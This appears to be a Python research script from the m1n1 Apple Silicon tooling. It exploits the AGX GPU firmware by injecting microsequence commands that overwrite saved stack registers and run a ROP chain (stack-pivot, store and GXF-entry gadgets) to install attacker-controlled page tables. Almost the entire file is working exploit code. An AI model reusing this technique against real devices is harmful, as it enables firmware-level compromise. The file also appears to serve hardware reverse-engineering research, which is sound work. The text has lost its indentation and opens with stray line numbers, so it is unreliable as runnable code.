1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416
|
#!/usr/bin/env python3
# SPDX-License-Identifier: MIT
import sys, pathlib, time
sys.path.append(str(pathlib.Path(__file__).resolve().parents[1]))
import atexit, sys
from m1n1.agx import AGX
from m1n1.agx.render import *
from m1n1.fw.agx.microsequence import *
from construct import *
from m1n1.setup import *
from m1n1 import asm
p.pmgr_adt_clocks_enable("/arm-io/gfx-asc")
p.pmgr_adt_clocks_enable("/arm-io/sgx")
agx = AGX(u)
agx.mon = mon
sgx = agx.sgx_dev
def magic(renderer, work, ms):
work.scratch = agx.kobj.new_buf(0x4000, name="scratch", track=True)
# dump GXF area
#for i in range(0, 0x200, 8):
#ms.append(Read64Cmd(0xffffff8000068000 + i))
#ms.append(Store64Cmd(work.scratch._addr + i))
#return
gbl_cur_cmd_state = 0xffffff80000744b0
v_gptbat_base = 0xffffff800004d06b
v_kpt_pfn = 0xffffff80000680b0
g_epilogue = 0xffffff8000021ec0
sp = 0xffffff80000baab0 + 0x1c0
v_lr = sp + 0x58
v_x26 = sp + 0x10
v_x23 = sp + 0x28
v_x22 = sp + 0x30
v_x21 = sp + 0x38
g_stack_pivot = 0xffffff8000006640
#0xffffff8000006640 : mov sp, x2 ; movz x0, #0x1 ; ret
g_calltwo = 0xffffff8000045e24
# 0xffffff8000045e24 :
# ldr x8, [x22] ; ldr x8, [x8] ; mov x0, x22 ; movz w1, #0x5 ; mov x2, x23 ; mov x3, #0x0 ; blr x8 ;
g_callone = 0xffffff8000045e3c
# ldr x8, [x21, #0x70] ; cbz x8, #0xffffff8000045e4c ; mov x0, x26 ; blr x8
# mov x0, x23 ;
# ldp x29, x30, [sp, #0x80] ;
# ldp x20, x19, [sp, #0x70] ;
# ldp x22, x21, [sp, #0x60] ;
# ldp x24, x23, [sp, #0x50] ;
# ldp x26, x25, [sp, #0x40] ;
# ldp x28, x27, [sp, #0x30] ;
# ldp d9, d8, [sp, #0x20] ;
# add sp, sp, #0x90 ; ret
g_store = 0xffffff800003b310
# 0xffffff800003b310 : str x0, [x23, #0xa78] ; ldp x29, x30, [sp, #0x40] ; ldp x20, x19, [sp, #0x30] ; ldp x22, x21, [sp, #0x20] ; ldp x24, x23, [sp, #0x10] ; ldp x26, x25, [sp], #0x50 ; ret
g_mmu_gxf_enter = 0xffffff8000006650
ROP_SIZE = 0x400
rbuf = agx.kobj.new(Array(ROP_SIZE, Int64ul), name="ROP", track=True)
p_rop = rbuf._addr
rop = []
def r(i):
p = p_rop + len(rop) * 8
rop.append(i)
return p
def e(v):
p = p_rop + len(rop) * 8
rop.extend(v)
return p
tmp_cmdbuf = r(0)
pg_stack_pivot = r(g_stack_pivot)
ppg_stack_pivot = r(pg_stack_pivot)
pg_store = r(g_store)
pg_epilogue = r(g_epilogue)
pg_mmu_gxf_enter = r(g_mmu_gxf_enter)
v_ttbrs = 0xffffff8001000000
v_ttbr1_63 = v_ttbrs + 63 * 16
gxf_map_args = e([
v_ttbrs >> 14, # va
0, # pa
1, # size
0x41b, # EL1 RW Shared
0, # unk
])
gxf_map_op = e([
0x10, # map
gxf_map_args
])
gxf_switch_args = e([
63 << 32, # context ID
])
gxf_switch_op = e([
0x20, # switch
gxf_switch_args
])
if len(rop) & 1:
r(0)
# Low leaf PT for firmware
v_kpt0 = 0xffffff8001fc8000
# New page tables (AGX heap scratch)
# Actually make this the TTBR page lol
v_new_pt = 0xffffff80000b4000
new_sp = e([
# Set the TTBR1 for context 63
# Coming from g_calltwo
0x0aaaaaaaaa000006,
0x0aaaaaaaaa000007,
0x0aaaaaaaaa000008,
0x0aaaaaaaaa000009,
0x0aaaaaaaaa00000a,
0x0aaaaaaaaa00000b,
0x0bbbbbbbbb000028, # x28
0x0bbbbbbbbb000027, # x27
])
new_ttbr = e([
0x1bbbbbbbbb000026, # x26 = x0 = value
0x1bbbbbbbbb000025, # x25
0x1bbbbbbbbb000024, # x24
v_ttbr1_63 - 0xa78, # x23 = addr
0x1bbbbbbbbb000022, # x22
pg_store - 0x70, # x21 = func
0x1bbbbbbbbb000020, # x20
0x1bbbbbbbbb000019, # x19
0x1bbbbbbbbb000029, # x29
g_callone, # lr
# Switch to context 63
# Coming from g_store
gxf_switch_op, # x26 = x0 = op
0x2bbbbbbbbb000025, # x25
0x2bbbbbbbbb000024, # x24
0x2bbbbbbbbb000023, # x23
0x2bbbbbbbbb000022, # x22
pg_mmu_gxf_enter - 0x70, # x21 = func
0x2bbbbbbbbb000020, # x20
0x2bbbbbbbbb000019, # x19
0x2bbbbbbbbb000029, # x29
g_callone, # lr
# Install our page table in the kernel space
# Coming from g_callone
0x3aaaaaaaaa000006,
0x3aaaaaaaaa000007,
0x3aaaaaaaaa000008,
0x3aaaaaaaaa000009,
0x3aaaaaaaaa00000a,
0xaaaaaaaaaa00000b,
0x3bbbbbbbbb000028, # x28
0x3bbbbbbbbb000027, # x27
])
ktp_pte_val = e([
0x3bbbbbbbbb000026, # x26 = x0 = value
0x3bbbbbbbbb000025, # x25
0x3bbbbbbbbb000024, # x24
])
kpt_pte_addr = e([
0x3bbbbbbbbb000023, # x23 = addr
0x3bbbbbbbbb000022, # x22
pg_store - 0x70, # x21 = func
0x3bbbbbbbbb000020, # x20
0x3bbbbbbbbb000019, # x19
0x3bbbbbbbbb000029, # x29
g_callone, # lr
])
def restore_reg(p):
return e([
# Restore x21
# Coming from g_store
0x4bbbbbbbbb000026, # x26 = x0 = value
0x4bbbbbbbbb000025, # x25
0x4bbbbbbbbb000024, # x24
p - 0xa78, # x23 = addr
0x4bbbbbbbbb000022, # x22
pg_store - 0x70, # x21 = function
0x4bbbbbbbbb000020, # x20
0x4bbbbbbbbb000019, # x19
0x4bbbbbbbbb000029, # x29
g_callone, # lr
])
save_x21 = restore_reg(v_x21)
save_x22 = restore_reg(v_x22)
save_x23 = restore_reg(v_x23)
save_x26 = restore_reg(v_x26)
save_lr = restore_reg(v_lr)
e([
# Return to original stack
# Coming from g_store
0, # x26 = r0 = ret
0x5bbbbbbbbb000025, # x25
0x5bbbbbbbbb000024, # x24
sp, # x23 = new sp
ppg_stack_pivot, # x22 = 1st function
pg_epilogue - 0x70, # x21 = 2nd function
0x5bbbbbbbbb000020, # x20
0x5bbbbbbbbb000019, # x19
0x5bbbbbbbbb000029, # x29
g_calltwo, # lr
])
print(f"ROP len: {len(rop)*8:#x}")
rbuf.val = rop + [0] * (ROP_SIZE - len(rop))
rbuf.push()
# Calculate pfn of the ttbr base
vpg_ttbrs = gxf_map_args + 8
ms.append(Read64Cmd(v_gptbat_base))
ms.append(ALUCmd(ALUCmd.LSR, 14))
ms.append(Store64Cmd(vpg_ttbrs))
# Calculate physaddr of the kpte to overwrite
ms.append(Read64Cmd(v_kpt_pfn))
ms.append(ALUCmd(ALUCmd.LSL, 14))
ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff))
ms.append(Add16Cmd(0xa78 - 8 * 4))
ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff))
ms.append(Store64Cmd(kpt_pte_addr))
# Read the page tables to find the paddr of our new PT,
# and generate the PTE and TTBR
# pt[0] -> self reference L1 -> L2
ms.append(Read64Cmd(v_kpt0 + ((v_new_pt >> 14) & 0x7ff) * 8))
ms.append(ALUCmd(ALUCmd.AND, 0xfffffffc000))
ms.append(ALUCmd(ALUCmd.OR, 1))
ms.append(Store64Cmd(new_ttbr))
ms.append(ALUCmd(ALUCmd.OR, 2))
ms.append(Store64Cmd(ktp_pte_val))
ms.append(Store64Cmd(v_new_pt))
# Map physical 32M pages at 0, 32M, 8G-32, 16G-32
# This should be enough to make the exploit work regardless of RAM size,
# the shader can map the rest
for page in (0, 1, 255, 511):
# pt[0x400+x] -> 0x800000000 + (x<<25)
ms.append(Write64Cmd(v_new_pt + 0x2000 + 8 * page, 0xe0000800000409 | (page<<25)))
# Save the stack values we will clobber,
# and construct the new ttbr0 PT
for src, dest in (
(v_lr, save_lr),
(v_x21, save_x21),
(v_x22, save_x22),
(v_x23, save_x23),
(v_x26, save_x26),
):
ms.append(Read64Cmd(src))
ms.append(Store64Cmd(dest))
# Set up our initial ROP pivot (GXF map TTBRs)
ms.append(Write64Cmd(v_x21, pg_mmu_gxf_enter - 0x70))
ms.append(Write64Cmd(v_x22, ppg_stack_pivot))
ms.append(Write64Cmd(v_x23, new_sp))
ms.append(Write64Cmd(v_x26, gxf_map_op))
ms.append(Write64Cmd(v_lr, g_calltwo))
# Figure out the stamp addr/val to complete the current command
ms.append(Read64Cmd(gbl_cur_cmd_state))
ms.append(Add16Cmd(0x10))
store_cmd_buf = Store64Cmd(0)
ms.append(store_cmd_buf)
store_cmd_buf.addr = ms.cur_addr() + Read64Cmd.offsetof("addr")
ms.append(Read64Cmd(0))
ms.append(ALUCmd(ALUCmd.AND, 0xffffffffffffffe0))
ms.append(Store64Cmd(tmp_cmdbuf))
off_3d_stamp_addr = 0x8d8
off_3d_stamp_value = 0x8e0
off_3d_stamp_index = 0x8e4
off_ta_stamp_addr = 0x578
off_ta_stamp_value = 0x580
off_ta_stamp_index = 0x584
ms.append(Add16Cmd(off_ta_stamp_addr))
store = Store64Cmd(0)
ms.append(store)
store.addr = ms.cur_addr() + Read64Cmd.offsetof("addr")
ms.append(Read64Cmd(0))
store_stamp_addr = Store64Cmd(0)
ms.append(store_stamp_addr)
ms.append(Read64Cmd(tmp_cmdbuf))
ms.append(Add16Cmd(off_ta_stamp_value))
store = Store64Cmd(0)
ms.append(store)
store.addr = ms.cur_addr() + Read32Cmd.offsetof("addr")
ms.append(Read32Cmd(0))
store_stamp_val = Store64Cmd(0)
ms.append(store_stamp_val)
ms.append(DoorbellCmd(1))
off = ms.cur_addr()
store_stamp_addr.addr = off + CompleteCmd.offsetof("stamp_addr")
store_stamp_val.addr = off + CompleteCmd.offsetof("stamp_val")
cmd = CompleteCmd()
cmd.stamp_addr = 0
cmd.stamp_val = 0
ms.append(cmd)
#off = ms.cur_addr()
#store_stamp_addr.addr = off + AbortCmd.offsetof("stamp_addr")
#store_stamp_val.addr = off + AbortCmd.offsetof("stamp_val")
#cmd = AbortCmd()
#cmd.stamp_addr = 0
#cmd.stamp_val = 0
#ms.append(cmd)
ms.append(Write64Cmd(0xdead, 0))
try:
agx.start()
#agx.uat.dump(0)
print("==========================================")
print("## After init")
print("==========================================")
mon.poll()
agx.poll_objects()
ctx = GPUContext(agx)
ctx.bind(2)
f = GPUFrame(ctx, sys.argv[1], track=False)
r = GPURenderer(ctx, 8, bm_slot=0x10, queue=1)
print("==========================================")
print("## Submitting")
print("==========================================")
r.mshook_ta = magic
w = r.submit(f.cmdbuf)
print("==========================================")
print("## Submitted")
print("==========================================")
mon.poll()
agx.poll_objects()
print("==========================================")
print("## Run")
print("==========================================")
r.run()
while not r.ev_ta.fired:
agx.asc.work()
agx.poll_channels()
#r.wait()
agx.poll_objects()
print("==========================================")
print("## Scratch")
print("==========================================")
#chexdump(w.scratch.pull().val)
#print(hex(w.scratch.pull().val))
#open("68000.dump", "wb").write(w.scratch.pull().val)
time.sleep(1)
agx.poll_channels()
agx.kick_firmware()
agx.asc.work()
agx.asc.work()
agx.poll_channels()
#agx.asc.crash.crash_hard()
#agx.poll_channels()
time.sleep(1)
agx.poll_channels()
agx.asc.work()
agx.asc.work()
agx.poll_channels()
w = r.submit(f.cmdbuf)
r.run()
time.sleep(1)
agx.poll_channels()
finally:
mon.poll()
agx.poll_objects()
agx.uat.invalidate_cache()
print(repr(agx.uat.iotranslate(0, 0xffffff8001000000, 0x10)))
#print("UAT dump:")
#agx.uat.dump(0)
#print(f"Val: {p.read64(0x810000000):#x}")
p.reboot()
|